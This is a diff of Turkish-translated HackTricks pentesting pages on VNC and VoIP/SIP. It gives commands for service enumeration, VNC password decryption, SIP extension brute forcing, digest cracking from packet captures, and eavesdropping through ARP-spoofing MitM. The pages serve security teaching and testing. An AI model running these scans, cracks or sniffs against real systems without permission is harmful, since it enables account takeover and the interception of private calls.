* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,51 +1,52 @@
# 5800,5801,5900,5901 - VNC Pentesting
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
**Sanal Ağ Bilgisayarlığı (VNC)**, başka bir bilgisayarla uzaktan kontrol ve işbirliği yapmak için **Uzak Çerçeve Tamponu (RFB)** protokolünü kullanan sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını çift yönlü ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşime geçebilirler. Bu, gerçek zamanlı erişime olanak tanır ve ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Arabelleği (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için kullanılan sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
VNC genellikle **5800 veya 5801 veya 5900 veya 5901** bağlantı noktalarını kullanır.
VNC genellikle **5800 veya 5801 veya 5900 veya 5901** portlarını kullanır.
```
PORT STATE SERVICE
5900/tcp open vnc
```
## Numaralandırma
## Sayım
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#vnc)
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Kali kullanarak vnc'ye bağlanın
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
## VNC şifresinin şifresinin çözülmesi
## VNC şifresini çözme
Varsayılan **şifre** şurada saklanır: \~/.vnc/passwd
Varsayılan **şifre şurada saklanır**: \~/.vnc/passwd
Eğer VNC şifreniz varsa ve şifre şifrelenmiş gibi görünüyorsa (birkaç bayt, şifrelenmiş bir şifre olabileceği gibi), muhtemelen 3des ile şifrelenmiştir. Açık metin şifresini [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) kullanarak alabilirsiniz.
Eğer VNC şifreniz varsa ve şifreli görünüyorsa (birkaç bayt, sanki şifreli bir şifreymiş gibi), muhtemelen 3des ile şifrelenmiştir. Açık metin şifresini [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) kullanarak alabilirsiniz.
```bash
make
vncpwd <vnc password file>
```
3des içinde kullanılan şifrenin yıllar önce tersine çevrildiği için bu işlemi yapabilirsiniz.\
**Windows** için ayrıca bu aracı da kullanabilirsiniz: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ayrıca erişimi kolaylaştırmak için aracı buraya da kaydettim:
Bu, 3des içinde düz metin VNC şifrelerini şifrelemek için kullanılan şifrenin yıllar önce tersine çevrildiği için mümkündür.\
**Windows** için bu aracı da kullanabilirsiniz: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Erişimi kolaylaştırmak için aracı burada da kaydediyorum:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -53,16 +54,17 @@ Ayrıca erişimi kolaylaştırmak için aracı buraya da kaydettim:
* `port:5900 RFB`
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,6 +1,23 @@
# VoIP Temel Bilgiler
# Pentesting VoIP
Başlamak için VoIP'in nasıl çalıştığını öğrenmek için şu kaynağa göz atabilirsiniz:
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## VoIP Temel Bilgiler
VoIP'in nasıl çalıştığını öğrenmeye başlamak için kontrol edin:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -42,7 +59,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
202 Accepted
204 No Notification
```
**3xx—Yönlendirme Yanıtları**
**3xx—Yeniden Yönlendirme Yanıtları**
```
300 Multiple Choices
301 Moved Permanently
@ -113,7 +130,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—Küresel Başarısızlık Yanıtları**
**6xx—Küresel Hata Yanıtları**
```
600 Busy Everywhere
603 Decline
@ -122,22 +139,22 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## VoIP Numaraları Saptama
## VoIP Enumeration
### Telefon Numaraları
Kırmızı Takım'ın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını kazıyarak şirketle iletişim kurmak için kullanılabilecek telefon numaralarını aramaktır.
Kırmızı Takımın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını tarayarak şirketle iletişim kurmak için mevcut telefon numaralarını aramaktır.
Telefon numaralarına sahip olduktan sonra operatörü tanımlamak için çevrimiçi hizmetler kullanabilirsiniz:
Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimiçi hizmetleri kullanabilirsiniz:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Operatörün VoIP hizmeti sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Müzik gibi otomatik yanıtlar gibi şeyler genellikle VoIP kullanıldığını gösterir.
Müzik gibi otomatik yanıtların varlığı genellikle VoIP kullanıldığını gösterir.
### Google Dorks
```bash
@ -173,21 +190,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT bilgileri
VoIP yazılımının belirlenmesine yardımcı olan diğer OSINT numaralandırma işlemleri bir Kırmızı Takım için faydalı olacaktır.
VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayımı, Kırmızı Takım için faydalı olacaktır.
### Ağ Numaralandırma
### Ağ Sayımı
* **`nmap`**, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle bu tür hizmetlerle çok yavaş ve çok doğru olmayabilir.
* **`nmap`** UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** SIPVicious'tan (`sudo apt install sipvicious`): Belirtilen ağdaki SIP hizmetlerini bulacaktır.
* `svmap`, `friendly-scanner` Kullanıcı Ajanını kullandığı için **kolayca engellenebilir**, ancak `/usr/share/sipvicious/sipvicious` dizininden kodu değiştirerek bunu değiştirebilirsiniz.
* **`svmap`** SIPVicious'tan (`sudo apt install sipvicious`): Belirtilen ağda SIP hizmetlerini bulacaktır.
* `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS taraması`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir bağlantı noktası aralığı belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntem kullanmaya izin verir (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir Kullanıcı Ajanı belirtmeye (ve daha fazlasına).
* **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye olanak tanır (ve daha fazlası).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -203,53 +220,53 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Ekstra Ağ Sıralaması
#### Ek Ağ Numaralandırma
PBX ayrıca şu gibi diğer ağ hizmetlerini de açıklayabilir:
PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:
- **69/UDP (TFTP)**: Firmware güncellemeleri
- **80 (HTTP) / 443 (HTTPS)**: Cihazı web üzerinden yönetmek için
- **389 (LDAP)**: Kullanıcı bilgilerini depolamak için alternatif
- **3306 (MySQL)**: MySQL veritabanı
- **5038 (Yönetici)**: Asterisk'i diğer platformlardan kullanmaya olanak tanır
- **5222 (XMPP)**: Jabber kullanarak mesajlar
- **5432 (PostgreSQL)**: PostgreSQL veritabanı
- Ve diğerleri...
* **69/UDP (TFTP)**: Firmware güncellemeleri
* **80 (HTTP) / 443 (HTTPS)**: Cihazı web üzerinden yönetmek için
* **389 (LDAP)**: Kullanıcı bilgilerini depolamak için alternatif
* **3306 (MySQL)**: MySQL veritabanı
* **5038 (Manager)**: Asterisk'i diğer platformlardan kullanmaya olanak tanır
* **5222 (XMPP)**: Jabber kullanarak mesajlar
* **5432 (PostgreSQL)**: PostgreSQL veritabanı
* Ve diğerleri...
### Yöntemlerin Sıralanması
### Yöntem Numaralandırma
PBX'te kullanılabilir olan **hangi yöntemlerin bulunduğunu** [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS enumerate` kullanarak bulmak mümkündür.
PBX'te kullanılabilir **yöntemlerin hangileri olduğunu** bulmak mümkündür `SIPPTS enumerate` kullanarak [**sippts**](https://github.com/Pepelux/sippts)
```bash
sippts enumerate -i 10.10.0.10
```
### Sunucu yanıtlarının analizi
### Sunucu yanıtlarını analiz etme
Bir sunucunun bize geri gönderdiği başlıkları analiz etmek, gönderdiğimiz mesajın türüne ve başlıklarına bağlı olarak çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) 'den `SIPPTS send` ile kişiselleştirilmiş mesajlar gönderebilir, tüm başlıkları manipüle edebilir ve yanıtı analiz edebiliriz.
Gönderdiğimiz mesajın ve başlıkların türüne bağlı olarak, sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) ile `SIPPTS send` kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
Ayrıca, sunucu web soketleri kullanıyorsa veri elde etmek mümkündür. [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS wssend` kullanarak kişiselleştirilmiş WS mesajları gönderebiliriz.
Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. [**sippts**](https://github.com/Pepelux/sippts) içindeki `SIPPTS wssend` ile kişiselleştirilmiş WS mesajları gönderebiliriz.
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Uzantı Numaralarının Sıralanması
### Extension Enumeration
PBX (Özel Şube Değişimi) sistemlerinde uzantılar, bir organizasyonun veya işletmenin içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan **benzersiz iç tanımlayıcılara** atıfta bulunur. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına gerek kalmadan, **aramaların organizasyon içinde verimli bir şekilde yönlendirilmesini** sağlar.
PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki **bireysel** telefon hatlarına, cihazlara veya kullanıcılara atanan **benzersiz iç tanımlayıcılardır**. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, **organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi** mümkün kılar.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavram olarak, geleneksel wardialer'lar gibi çalışarak **bir dizi uzantıyı tahmin ederek veya belirli bir uzantı listesini kullanarak** çalışır.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavramsal olarak, **bir uzantı aralığını veya belirli bir uzantı listesini tahmin ederek** geleneksel wardialer'lara benzer şekilde çalışır.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`SIPPTS exten`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten geniş ağ ve port aralıklarını kontrol edebilir.
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten, büyük ağ ve port aralıklarını kontrol edebilir.
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: Metasploit ile uzantıları/kullanıcı adlarını da sıralayabilirsiniz:
* **metasploit**: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX**, Inter Asterisk Exchange protokolü için **kullanıcı adı brute-force numaralandırıcısı**'dır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
* **`enumiax` (`apt install enumiax`): enumIAX** bir Inter Asterisk Exchange protokolü **kullanıcı adı brute-force enumeratörü**dür. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -258,20 +275,20 @@ enumiax -v -m3 -M3 10.10.0.10
### Şifre Kaba Kuvvet - çevrimiçi
Bir Kırmızı Takım, **PBX**'i ve bazı **dahili/kullanıcı adlarını** keşfettikten sonra, bir sözlük kullanarak kimlik doğrulamasını kaba kuvvet saldırısıyla deneyebilir ve bir uzantıya `REGISTER` yöntemi aracılığıyla kimlik doğrulamaya çalışabilir.
**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Ekip, yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya **`REGISTER` yöntemi** ile **kimlik doğrulaması yapmayı** deneyebilir.
{% hint style="danger" %}
**Bir kullanıcı adının**, uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve organizasyonun tercihlerine bağlı olarak değişebilir...
Bir **kullanıcı adı** uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantı ile aynı değilse, **kullanıcı adını belirleyip kaba kuvvet uygulamak için** bunu çözmeniz gerekecektir.
Eğer kullanıcı adı uzantıyla aynı değilse, onu kaba kuvvetle denemek için **kullanıcı adını bulmanız** gerekecek.
{% endhint %}
* **SIPVicious**'dan **`svcrack`** (`sudo apt install sipvicious`): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
* **`svcrack`** SIPVicious'tan (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -281,68 +298,68 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Eğer **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri** **sızdırabilirsiniz**. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet üzerinden bağlı veya korumalı Wifi ile bağlı), **ARPspoofing** gibi **MitM saldırıları** gerçekleştirebilir ve bilgileri **PBX ve ağ geçidi** arasında sızdırabilirsiniz.
Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, **PBX ile ağ geçidi arasında** bilgi dinlemek için **MitM saldırıları** gerçekleştirebilirsiniz, örneğin [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **dahili numaraları**, **kullanıcı adı**, **IP** adresleri, hatta **karmakarışık şifreler** ve **konuşmayı dinlemek için çoğaltabileceğiniz RTP paketleri** bulabilirsiniz.
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri **konuşmayı duymak için** yeniden üretebilirsiniz ve daha fazlası.
Bu bilgilere ulaşmak için Wireshark, tcpdump gibi araçları kullanabilirsiniz, ancak VoIP konuşmalarını sızdırmak için **özel olarak oluşturulmuş bir araç olan** [**ucsniff**](https://github.com/Seabreg/ucsniff) kullanabilirsiniz.
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak **VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff) 'dir.
{% hint style="danger" %}
**SIP iletişiminde TLS kullanılıyorsa**, SIP iletişimini açık bir şekilde göremezsiniz.\
Aynı durum **SRTP** ve **ZRTP** kullanılıyorsa da geçerlidir, **RTP paketleri açık metin olmayacaktır**.
**SIP iletişiminde TLS kullanılıyorsa**, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.\
**SRTP** ve **ZRTP** kullanıldığında da aynı durum geçerlidir, **RTP paketleri açık metin olarak olmayacaktır**.
{% endhint %}
#### SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)
Daha iyi anlamak için bu örneğe bakın: **SIP KAYIT iletişimini** daha iyi anlamak için [**SIP REGISTER örneğine**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) bakın ve **kimlik bilgilerinin nasıl gönderildiğini** öğrenin.
**Kimlik bilgileri nasıl gönderiliyor** öğrenmek için [**SIP REGISTER iletişimini**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) daha iyi anlamak için bu örneği kontrol edin.
* **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** bir **pcap** dosyasından **çıkarabilir** ve **kaba kuvvet** uygulayabilir.
* **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** **pcap**'den **çıkarabilir** ve bunları **kaba kuvvet** ile çözebilir.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
* **`SIPPTS dump`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
```bash
sippts dump -f capture.pcap -o data.txt
```
* **`SIPPTS dcrack`** [**sippts**](https://github.com/Pepelux/sippts)**'dan:** SIPPTS dcrack, SIPPTS dump ile elde edilen digest kimlik doğrulamalarını kırmak için bir araçtır.
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack, SIPPTS dökümünden elde edilen özet kimlik doğrulamalarını kırmak için bir araçtır.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
* **`SIPPTS tshark`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark, bir PCAP dosyasından SIP protokolü verilerini çıkarır.
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark, bir PCAP dosyasından SIP protokol verilerini çıkarır.
```bash
sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF kodları
Ağ trafiğinde **yalnızca SIP kimlik bilgileri** değil, aynı zamanda örneğin **sesli postaya erişmek** için kullanılan DTMF kodları da bulunabilir.\
Bu kodları **INFO SIP mesajları** içinde, **ses** içinde veya **RTP paketleri** içinde göndermek mümkündür. Kodlar RTP paketlerinin içindeyse, konuşmanın o kısmını kesip onları çıkarmak için multimo aracını kullanabilirsiniz:
**SIP kimlik bilgileri** ağ trafiğinde bulunmanın yanı sıra, örneğin **sesli mesaj** erişimi için kullanılan DTMF kodlarının da bulunması mümkündür.\
Bu kodlar **INFO SIP mesajları**, **ses** veya **RTP paketleri** içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:
```bash
multimon -a DTMF -t wac pin.wav
```
### Ücretsiz Aramalar / Asterisk Bağlantıları Yanlış Yapılandırmaları
### Ücretsiz Aramalar / Asterisk Bağlantı Yanlış Yapılandırmaları
Asterisk'te bir bağlantıya **belirli bir IP adresinden** veya **herhangi bir IP adresinden** izin vermek mümkündür:
Asterisk'te **belirli bir IP adresinden** veya **herhangi bir IP adresinden** bir bağlantıya izin vermek mümkündür:
```
host=10.10.10.10
host=dynamic
```
Eğer bir IP adresi belirtilmişse, ana makine **zaman zaman REGISTER** istekleri göndermek zorunda kalmayacak (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Bununla birlikte, aramaları almak için VoIP sunucusundan bağlantıları kabul eden açık portlara sahip olması gerekecektir.
